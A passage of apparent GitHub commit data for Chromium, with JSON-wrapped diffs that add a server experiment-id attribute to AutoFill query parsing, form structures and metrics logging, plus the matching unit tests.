Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH));\n+ Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH));\n+ Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_MISMATCH,\n+ std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH));\n+ Log(AutoFillMetrics::FIELD_SERVER_TYPE_MISMATCH, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED));\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string()));\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_AUTOFILLED));\n+ Log(AutoFillMetrics::FIELD_AUTOFILLED, std::string()));\n \n // Simulate form submission.\n EXPECT_NO_FATAL_FAILURE(autofill_manager_->OnFormSubmitted(form));\n@@ -452,7 +464,7 @@ TEST_F(AutoFillMetricsTest, NoQualityMetricsForNonAutoFillableForms) {\n \n // Simulate form submission.\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED)).Times(0);\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string())).Times(0);\n EXPECT_NO_FATAL_FAILURE(autofill_manager_->OnFormSubmitted(form));\n \n // Search forms are not auto-fillable.\n@@ -463,6 +475,66 @@ TEST_F(AutoFillMetricsTest, NoQualityMetricsForNonAutoFillableForms) {\n \n // Simulate form submission.\n EXPECT_CALL(*autofill_manager_->metric_logger(),\n- Log(AutoFillMetrics::FIELD_SUBMITTED)).Times(0);\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, std::string())).Times(0);\n+ EXPECT_NO_FATAL_FAILURE(autofill_manager_->OnFormSubmitted(form));\n+}\n+\n+// Test that we recored the experiment id appropriately.\n+TEST_F(AutoFillMetricsTest, QualityMetricsWithExperimentId) {\n+ // Set up our form data.\n+ FormData form;\n+ form.name = ASCIIToUTF16(\"TestForm\");\n+ form.method = ASCIIToUTF16(\"POST\");\n+ form.origin = GURL(\"http://example.com/form.html\");\n+ form.action = GURL(\"http://example.com/submit.html\");\n+ form.user_submitted = true;\n+\n+ FormField field;\n+ autofill_test::CreateTestFormField(\n+ \"Autofilled\", \"autofilled\", \"Elvis Presley\", \"text\", &field);\n+ field.set_autofilled(true);\n+ form.fields.push_back(field);\n+ autofill_test::CreateTestFormField(\n+ \"Autofill Failed\", \"autofillfailed\", \"buddy@gmail.com\", \"text\", &field);\n+ form.fields.push_back(field);\n+ autofill_test::CreateTestFormField(\n+ \"Empty\", \"empty\", \"\", \"text\", &field);\n+ form.fields.push_back(field);\n+ autofill_test::CreateTestFormField(\n+ \"Unknown\", \"unknown\", \"garbage\", \"text\", &field);\n+ form.fields.push_back(field);\n+ autofill_test::CreateTestFormField(\n+ \"Select\", \"select\", \"USA\", \"select-one\", &field);\n+ form.fields.push_back(field);\n+\n+ const std::string experiment_id = \"ThatOughtaDoIt\";\n+\n+ // Simulate having seen this form on page load.\n+ // |form_structure| will be owned by |autofill_manager_|.\n+ TestFormStructure* form_structure = new TestFormStructure(form);\n+ form_structure->set_server_experiment_id(experiment_id);\n+ autofill_manager_->AddSeenForm(form_structure);\n+\n+ // Establish our expectations.\n+ ::testing::InSequence dummy;\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_AUTOFILLED, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_AUTOFILL_FAILED, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_HEURISTIC_TYPE_UNKNOWN,\n+ experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_SERVER_TYPE_UNKNOWN, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id));\n+ EXPECT_CALL(*autofill_manager_->metric_logger(),\n+ Log(AutoFillMetrics::FIELD_SUBMITTED, experiment_id));\n+\n+ // Simulate form submission.\n EXPECT_NO_FATAL_FAILURE(autofill_manager_->OnFormSubmitted(form));\n }"}<_**next**_>{"sha": "decbee4302b7e137da4151eead9101e804dedae9", "filename": "chrome/browser/autofill/autofill_xml_parser.cc", "status": "modified", "additions": 20, "deletions": 11, "changes": 31, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_xml_parser.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -4,9 +4,6 @@\n \n #include \"chrome/browser/autofill/autofill_xml_parser.h\"\n \n-#include <string>\n-#include <vector>\n-\n #include \"chrome/browser/autofill/autofill_type.h\"\n #include \"third_party/libjingle/overrides/talk/xmllite/qname.h\"\n \n@@ -29,30 +26,42 @@ void AutoFillXmlParser::Error(buzz::XmlParseContext* context,\n \n AutoFillQueryXmlParser::AutoFillQueryXmlParser(\n std::vector<AutoFillFieldType>* field_types,\n- UploadRequired* upload_required)\n+ UploadRequired* upload_required,\n+ std::string* experiment_id)\n : field_types_(field_types),\n- upload_required_(upload_required) {\n+ upload_required_(upload_required),\n+ experiment_id_(experiment_id) {\n DCHECK(upload_required_);\n+ DCHECK(experiment_id_);\n }\n \n void AutoFillQueryXmlParser::StartElement(buzz::XmlParseContext* context,\n const char* name,\n const char** attrs) {\n buzz::QName qname = context->ResolveQName(name, false);\n- const std::string &element = qname.LocalPart();\n+ const std::string& element = qname.LocalPart();\n if (element.compare(\"autofillqueryresponse\") == 0) {\n- // Check for the upload required attribute. If it's not present, we use the\n- // default upload rates.\n+ // We check for the upload required attribute below, but if it's not\n+ // present, we use the default upload rates. Likewise, by default we assume\n+ // an empty experiment id.\n *upload_required_ = USE_UPLOAD_RATES;\n- if (*attrs) {\n+ *experiment_id_ = std::string();\n+\n+ // |attrs| is a NULL-terminated list of (attribute, value) pairs.\n+ while (*attrs) {\n buzz::QName attribute_qname = context->ResolveQName(attrs[0], true);\n- const std::string &attribute_name = attribute_qname.LocalPart();\n+ const std::string& attribute_name = attribute_qname.LocalPart();\n if (attribute_name.compare(\"uploadrequired\") == 0) {\n if (strcmp(attrs[1], \"true\") == 0)\n *upload_required_ = UPLOAD_REQUIRED;\n else if (strcmp(attrs[1], \"false\") == 0)\n *upload_required_ = UPLOAD_NOT_REQUIRED;\n+ } else if (attribute_name.compare(\"experimentid\") == 0) {\n+ *experiment_id_ = attrs[1];\n }\n+\n+ // Advance to the next (attribute, value) pair.\n+ attrs += 2;\n }\n } else if (element.compare(\"field\") == 0) {\n if (!attrs[0]) {\n@@ -65,7 +74,7 @@ void AutoFillQueryXmlParser::StartElement(buzz::XmlParseContext* context,\n // attribute (autofilltype) with an integer value.\n AutoFillFieldType field_type = UNKNOWN_TYPE;\n buzz::QName attribute_qname = context->ResolveQName(attrs[0], true);\n- const std::string &attribute_name = attribute_qname.LocalPart();\n+ const std::string& attribute_name = attribute_qname.LocalPart();\n \n if (attribute_name.compare(\"autofilltype\") == 0) {\n int value = GetIntValue(context, attrs[1]);"}<_**next**_>{"sha": "5afe03a69c3b2d7870c0b9062c6b623e673860c7", "filename": "chrome/browser/autofill/autofill_xml_parser.h", "status": "modified", "additions": 8, "deletions": 2, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser.h", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_xml_parser.h?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -6,6 +6,7 @@\n #define CHROME_BROWSER_AUTOFILL_AUTOFILL_XML_PARSER_H_\n #pragma once\n \n+#include <string>\n #include <vector>\n \n #include \"base/basictypes.h\"\n@@ -51,7 +52,7 @@ class AutoFillXmlParser : public buzz::XmlParseHandler {\n // The XML parse handler for parsing AutoFill query responses. A typical\n // response looks like:\n //\n-// <autofillqueryresponse>\n+// <autofillqueryresponse experimentid=\"1\">\n // <field autofilltype=\"0\" />\n // <field autofilltype=\"1\" />\n // <field autofilltype=\"3\" />\n@@ -64,7 +65,8 @@ class AutoFillXmlParser : public buzz::XmlParseHandler {\n class AutoFillQueryXmlParser : public AutoFillXmlParser {\n public:\n AutoFillQueryXmlParser(std::vector<AutoFillFieldType>* field_types,\n- UploadRequired* upload_required);\n+ UploadRequired* upload_required,\n+ std::string* experiment_id);\n \n private:\n // A callback for the beginning of a new <element>, called by Expat.\n@@ -87,6 +89,10 @@ class AutoFillQueryXmlParser : public AutoFillXmlParser {\n // form is submitted.\n UploadRequired* upload_required_;\n \n+ // The server experiment to which this query response belongs.\n+ // For the default server implementation, this is empty.\n+ std::string* experiment_id_;\n+\n DISALLOW_COPY_AND_ASSIGN(AutoFillQueryXmlParser);\n };\n "}<_**next**_>{"sha": "11d1ee631f2da3c40eddcade132caf87215f0bb3", "filename": "chrome/browser/autofill/autofill_xml_parser_unittest.cc", "status": "modified", "additions": 91, "deletions": 18, "changes": 109, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/autofill_xml_parser_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/autofill_xml_parser_unittest.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -24,99 +24,171 @@ TEST(AutoFillQueryXmlParserTest, BasicQuery) {\n // Create a vector of AutoFillFieldTypes, to assign the parsed field types to.\n std::vector<AutoFillFieldType> field_types;\n UploadRequired upload_required = USE_UPLOAD_RATES;\n+ std::string experiment_id;\n \n // Create a parser.\n- AutoFillQueryXmlParser parse_handler(&field_types, &upload_required);\n+ AutoFillQueryXmlParser parse_handler(&field_types, &upload_required,\n+ &experiment_id);\n buzz::XmlParser parser(&parse_handler);\n parser.Parse(xml.c_str(), xml.length(), true);\n EXPECT_TRUE(parse_handler.succeeded());\n- EXPECT_EQ(upload_required, USE_UPLOAD_RATES);\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n ASSERT_EQ(4U, field_types.size());\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n EXPECT_EQ(UNKNOWN_TYPE, field_types[1]);\n EXPECT_EQ(NAME_FIRST, field_types[2]);\n EXPECT_EQ(EMPTY_TYPE, field_types[3]);\n+ EXPECT_EQ(std::string(), experiment_id);\n }\n \n // Test parsing the upload required attribute.\n TEST(AutoFillQueryXmlParserTest, TestUploadRequired) {\n std::vector<AutoFillFieldType> field_types;\n UploadRequired upload_required = USE_UPLOAD_RATES;\n+ std::string experiment_id;\n \n std::string xml = \"<autofillqueryresponse uploadrequired=\\\"true\\\">\"\n \"<field autofilltype=\\\"0\\\" />\"\n \"</autofillqueryresponse>\";\n \n scoped_ptr<AutoFillQueryXmlParser> parse_handler(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n scoped_ptr<buzz::XmlParser> parser(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_TRUE(parse_handler->succeeded());\n EXPECT_EQ(UPLOAD_REQUIRED, upload_required);\n ASSERT_EQ(1U, field_types.size());\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n \n field_types.clear();\n xml = \"<autofillqueryresponse uploadrequired=\\\"false\\\">\"\n \"<field autofilltype=\\\"0\\\" />\"\n \"</autofillqueryresponse>\";\n \n- parse_handler.reset(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n parser.reset(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_TRUE(parse_handler->succeeded());\n- EXPECT_EQ(upload_required, UPLOAD_NOT_REQUIRED);\n+ EXPECT_EQ(UPLOAD_NOT_REQUIRED, upload_required);\n ASSERT_EQ(1U, field_types.size());\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n \n field_types.clear();\n xml = \"<autofillqueryresponse uploadrequired=\\\"bad_value\\\">\"\n \"<field autofilltype=\\\"0\\\" />\"\n \"</autofillqueryresponse>\";\n \n- parse_handler.reset(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n parser.reset(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_TRUE(parse_handler->succeeded());\n- EXPECT_EQ(upload_required, USE_UPLOAD_RATES);\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n ASSERT_EQ(1U, field_types.size());\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n+}\n+\n+// Test parsing the experiment id attribute\n+TEST(AutoFillQueryXmlParserTest, ParseExperimentId) {\n+ std::vector<AutoFillFieldType> field_types;\n+ UploadRequired upload_required = USE_UPLOAD_RATES;\n+ std::string experiment_id;\n+\n+ // When the attribute is missing, we should get back the default value -- the\n+ // empty string.\n+ std::string xml = \"<autofillqueryresponse>\"\n+ \"<field autofilltype=\\\"0\\\" />\"\n+ \"</autofillqueryresponse>\";\n+\n+ scoped_ptr<AutoFillQueryXmlParser> parse_handler(\n+ new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n+ scoped_ptr<buzz::XmlParser> parser(new buzz::XmlParser(parse_handler.get()));\n+ parser->Parse(xml.c_str(), xml.length(), true);\n+ EXPECT_TRUE(parse_handler->succeeded());\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n+ ASSERT_EQ(1U, field_types.size());\n+ EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n+\n+ field_types.clear();\n+\n+ // When the attribute is present, make sure we parse it.\n+ xml = \"<autofillqueryresponse experimentid=\\\"FancyNewAlgorithm\\\">\"\n+ \"<field autofilltype=\\\"0\\\" />\"\n+ \"</autofillqueryresponse>\";\n+\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n+ parser.reset(new buzz::XmlParser(parse_handler.get()));\n+ parser->Parse(xml.c_str(), xml.length(), true);\n+ EXPECT_TRUE(parse_handler->succeeded());\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n+ ASSERT_EQ(1U, field_types.size());\n+ EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(\"FancyNewAlgorithm\"), experiment_id);\n+\n+ field_types.clear();\n+\n+ // Make sure that we can handle parsing both the upload required and the\n+ // experiment id attribute together.\n+ xml = \"<autofillqueryresponse uploadrequired=\\\"false\\\"\"\n+ \" experimentid=\\\"ServerSmartyPants\\\">\"\n+ \"<field autofilltype=\\\"0\\\" />\"\n+ \"</autofillqueryresponse>\";\n+\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n+ parser.reset(new buzz::XmlParser(parse_handler.get()));\n+ parser->Parse(xml.c_str(), xml.length(), true);\n+ EXPECT_TRUE(parse_handler->succeeded());\n+ EXPECT_EQ(UPLOAD_NOT_REQUIRED, upload_required);\n+ ASSERT_EQ(1U, field_types.size());\n+ EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(\"ServerSmartyPants\"), experiment_id);\n }\n \n // Test badly formed XML queries.\n TEST(AutoFillQueryXmlParserTest, ParseErrors) {\n std::vector<AutoFillFieldType> field_types;\n UploadRequired upload_required = USE_UPLOAD_RATES;\n+ std::string experiment_id;\n \n // Test no AutoFill type.\n std::string xml = \"<autofillqueryresponse>\"\n \"<field/>\"\n \"</autofillqueryresponse>\";\n \n scoped_ptr<AutoFillQueryXmlParser> parse_handler(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n scoped_ptr<buzz::XmlParser> parser(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_FALSE(parse_handler->succeeded());\n- EXPECT_EQ(upload_required, USE_UPLOAD_RATES);\n- ASSERT_EQ(0U, field_types.size());\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n+ EXPECT_EQ(0U, field_types.size());\n+ EXPECT_EQ(std::string(), experiment_id);\n \n // Test an incorrect AutoFill type.\n xml = \"<autofillqueryresponse>\"\n \"<field autofilltype=\\\"307\\\"/>\"\n \"</autofillqueryresponse>\";\n \n- parse_handler.reset(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n parser.reset(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_TRUE(parse_handler->succeeded());\n- EXPECT_EQ(upload_required, USE_UPLOAD_RATES);\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n ASSERT_EQ(1U, field_types.size());\n // AutoFillType was out of range and should be set to NO_SERVER_DATA.\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n \n // Test an incorrect AutoFill type.\n field_types.clear();\n@@ -125,14 +197,15 @@ TEST(AutoFillQueryXmlParserTest, ParseErrors) {\n \"</autofillqueryresponse>\";\n \n // Parse fails but an entry is still added to field_types.\n- parse_handler.reset(\n- new AutoFillQueryXmlParser(&field_types, &upload_required));\n+ parse_handler.reset(new AutoFillQueryXmlParser(&field_types, &upload_required,\n+ &experiment_id));\n parser.reset(new buzz::XmlParser(parse_handler.get()));\n parser->Parse(xml.c_str(), xml.length(), true);\n EXPECT_FALSE(parse_handler->succeeded());\n- EXPECT_EQ(upload_required, USE_UPLOAD_RATES);\n+ EXPECT_EQ(USE_UPLOAD_RATES, upload_required);\n ASSERT_EQ(1U, field_types.size());\n EXPECT_EQ(NO_SERVER_DATA, field_types[0]);\n+ EXPECT_EQ(std::string(), experiment_id);\n }\n \n // Test successfull upload response."}<_**next**_>{"sha": "ab2821f42a49a55985248f7959ad5bf0e81e9567", "filename": "chrome/browser/autofill/form_structure.cc", "status": "modified", "additions": 43, "deletions": 38, "changes": 81, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/form_structure.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -20,22 +20,27 @@ using webkit_glue::FormData;\n \n namespace {\n \n-const char* kFormMethodPost = \"post\";\n-\n-// XML attribute names.\n-const char* const kAttributeClientVersion = \"clientversion\";\n-const char* const kAttributeAutoFillUsed = \"autofillused\";\n-const char* const kAttributeSignature = \"signature\";\n-const char* const kAttributeFormSignature = \"formsignature\";\n-const char* const kAttributeDataPresent = \"datapresent\";\n-\n-const char* const kXMLElementForm = \"form\";\n-const char* const kXMLElementField = \"field\";\n-const char* const kAttributeAutoFillType = \"autofilltype\";\n+const char kFormMethodPost[] = \"post\";\n+\n+// XML elements and attributes.\n+const char kAttributeAcceptedFeatures[] = \"accepts\";\n+const char kAttributeAutoFillUsed[] = \"autofillused\";\n+const char kAttributeAutoFillType[] = \"autofilltype\";\n+const char kAttributeClientVersion[] = \"clientversion\";\n+const char kAttributeDataPresent[] = \"datapresent\";\n+const char kAttributeFormSignature[] = \"formsignature\";\n+const char kAttributeSignature[] = \"signature\";\n+const char kAcceptedFeatures[] = \"e\"; // e=experiments\n+const char kClientVersion[] = \"6.1.1715.1442/en (GGLL)\";\n+const char kXMLDeclaration[] = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\";\n+const char kXMLElementAutoFillQuery[] = \"autofillquery\";\n+const char kXMLElementAutoFillUpload[] = \"autofillupload\";\n+const char kXMLElementForm[] = \"form\";\n+const char kXMLElementField[] = \"field\";\n \n // The list of form control types we handle.\n-const char* const kControlTypeSelect = \"select-one\";\n-const char* const kControlTypeText = \"text\";\n+const char kControlTypeSelect[] = \"select-one\";\n+const char kControlTypeText[] = \"text\";\n \n // The number of fillable fields necessary for a form to be fillable.\n const size_t kRequiredFillableFields = 3;\n@@ -97,29 +102,23 @@ bool FormStructure::EncodeUploadRequest(bool auto_fill_used,\n if (!auto_fillable)\n return false;\n \n- buzz::XmlElement autofill_request_xml(buzz::QName(\"autofillupload\"));\n-\n- // Attributes for the <autofillupload> element.\n- //\n- // TODO(jhawkins): Work with toolbar devs to make a spec for autofill clients.\n- // For now these values are hacked from the toolbar code.\n+ // Set up the <autofillupload> element and its attributes.\n+ buzz::XmlElement autofill_request_xml(\n+ (buzz::QName(kXMLElementAutoFillUpload)));\n autofill_request_xml.SetAttr(buzz::QName(kAttributeClientVersion),\n- \"6.1.1715.1442/en (GGLL)\");\n-\n+ kClientVersion);\n autofill_request_xml.SetAttr(buzz::QName(kAttributeFormSignature),\n FormSignature());\n-\n autofill_request_xml.SetAttr(buzz::QName(kAttributeAutoFillUsed),\n auto_fill_used ? \"true\" : \"false\");\n-\n autofill_request_xml.SetAttr(buzz::QName(kAttributeDataPresent),\n ConvertPresenceBitsToString().c_str());\n \n if (!EncodeFormRequest(FormStructure::UPLOAD, &autofill_request_xml))\n return false; // Malformed form, skip it.\n \n // Obtain the XML structure as a string.\n- *encoded_xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\";\n+ *encoded_xml = kXMLDeclaration;\n *encoded_xml += autofill_request_xml.Str().c_str();\n \n return true;\n@@ -134,13 +133,15 @@ bool FormStructure::EncodeQueryRequest(const ScopedVector<FormStructure>& forms,\n encoded_xml->clear();\n encoded_signatures->clear();\n encoded_signatures->reserve(forms.size());\n- buzz::XmlElement autofill_request_xml(buzz::QName(\"autofillquery\"));\n- // Attributes for the <autofillquery> element.\n- //\n- // TODO(jhawkins): Work with toolbar devs to make a spec for autofill clients.\n- // For now these values are hacked from the toolbar code.\n+\n+ // Set up the <autofillquery> element and attributes.\n+ buzz::XmlElement autofill_request_xml(\n+ (buzz::QName(kXMLElementAutoFillQuery)));\n autofill_request_xml.SetAttr(buzz::QName(kAttributeClientVersion),\n- \"6.1.1715.1442/en (GGLL)\");\n+ kClientVersion);\n+ autofill_request_xml.SetAttr(buzz::QName(kAttributeAcceptedFeatures),\n+ kAcceptedFeatures);\n+\n // Some badly formatted web sites repeat forms - detect that and encode only\n // one form as returned data would be the same for all the repeated forms.\n std::set<std::string> processed_forms;\n@@ -152,7 +153,7 @@ bool FormStructure::EncodeQueryRequest(const ScopedVector<FormStructure>& forms,\n continue;\n processed_forms.insert(signature);\n scoped_ptr<buzz::XmlElement> encompassing_xml_element(\n- new buzz::XmlElement(buzz::QName(\"form\")));\n+ new buzz::XmlElement(buzz::QName(kXMLElementForm)));\n encompassing_xml_element->SetAttr(buzz::QName(kAttributeSignature),\n signature);\n \n@@ -168,7 +169,7 @@ bool FormStructure::EncodeQueryRequest(const ScopedVector<FormStructure>& forms,\n return false;\n \n // Obtain the XML structure as a string.\n- *encoded_xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\";\n+ *encoded_xml = kXMLDeclaration;\n *encoded_xml += autofill_request_xml.Str().c_str();\n \n return true;\n@@ -183,7 +184,9 @@ void FormStructure::ParseQueryResponse(const std::string& response_xml,\n \n // Parse the field types from the server response to the query.\n std::vector<AutoFillFieldType> field_types;\n- AutoFillQueryXmlParser parse_handler(&field_types, upload_required);\n+ std::string experiment_id;\n+ AutoFillQueryXmlParser parse_handler(&field_types, upload_required,\n+ &experiment_id);\n buzz::XmlParser parser(&parse_handler);\n parser.Parse(response_xml.c_str(), response_xml.length(), true);\n if (!parse_handler.succeeded())\n@@ -199,6 +202,7 @@ void FormStructure::ParseQueryResponse(const std::string& response_xml,\n for (std::vector<FormStructure*>::const_iterator iter = forms.begin();\n iter != forms.end(); ++iter) {\n FormStructure* form = *iter;\n+ form->server_experiment_id_ = experiment_id;\n \n if (form->has_autofillable_field_)\n heuristics_detected_fillable_field = true;\n@@ -406,14 +410,15 @@ bool FormStructure::EncodeFormRequest(\n buzz::XmlElement* encompassing_xml_element) const {\n if (!field_count()) // Nothing to add.\n return false;\n+\n // Some badly formatted web sites repeat fields - limit number of fields to\n // 48, which is far larger than any valid form and XML still fits into 2K.\n+ // Do not send requests for forms with more than this many fields, as they are\n+ // near certainly not valid/auto-fillable.\n const size_t kMaxFieldsOnTheForm = 48;\n- if (field_count() > kMaxFieldsOnTheForm) {\n- // This is not a valid form, most certainly. Do not send request for the\n- // wrongly formatted forms.\n+ if (field_count() > kMaxFieldsOnTheForm)\n return false;\n- }\n+\n // Add the child nodes for the form fields.\n for (size_t index = 0; index < field_count(); ++index) {\n const AutoFillField* field = fields_[index];"}<_**next**_>{"sha": "8a5bafd5c6cf71b4723612ee75601c264ebf0cf9", "filename": "chrome/browser/autofill/form_structure.h", "status": "modified", "additions": 8, "deletions": 0, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure.h", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/form_structure.h?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -102,6 +102,10 @@ class FormStructure {\n \n const GURL& source_url() const { return source_url_; }\n \n+ virtual std::string server_experiment_id() const {\n+ return server_experiment_id_;\n+ }\n+\n bool operator==(const webkit_glue::FormData& form) const;\n bool operator!=(const webkit_glue::FormData& form) const;\n \n@@ -160,6 +164,10 @@ class FormStructure {\n // character. E.g.: \"&form_input1_name&form_input2_name&...&form_inputN_name\"\n std::string form_signature_field_names_;\n \n+ // The server experiment corresponding to the server types returned for this\n+ // form.\n+ std::string server_experiment_id_;\n+\n // GET or POST.\n RequestMethod method_;\n "}<_**next**_>{"sha": "8532b213bdd662810ce7a52610befaf5f1e49582", "filename": "chrome/browser/autofill/form_structure_unittest.cc", "status": "modified", "additions": 30, "deletions": 30, "changes": 60, "blob_url": "https://github.com/chromium/chromium/blob/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5f372f899b8709dac700710b5f0f90959dcf9ecb/chrome/browser/autofill/form_structure_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/autofill/form_structure_unittest.cc?ref=5f372f899b8709dac700710b5f0f90959dcf9ecb", "patch": "@@ -1531,25 +1531,25 @@ TEST(FormStructureTest, EncodeQueryRequest) {\n const char * const kSignature1 = \"11337937696949187602\";\n const char * const kResponse1 =\n \"<\\?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"\\?><autofillquery \"\n- \"clientversion=\\\"6.1.1715.1442/en (GGLL)\\\"><form signature=\\\"\"\n- \"11337937696949187602\\\"><field signature=\\\"412125936\\\"/><field \"\n- \"signature=\\\"1917667676\\\"/><field signature=\\\"2226358947\\\"/><field \"\n- \"signature=\\\"747221617\\\"/><field signature=\\\"4108155786\\\"/></form>\"\n+ \"clientversion=\\\"6.1.1715.1442/en (GGLL)\\\" accepts=\\\"e\\\"><form \"\n+ \"signature=\\\"11337937696949187602\\\"><field 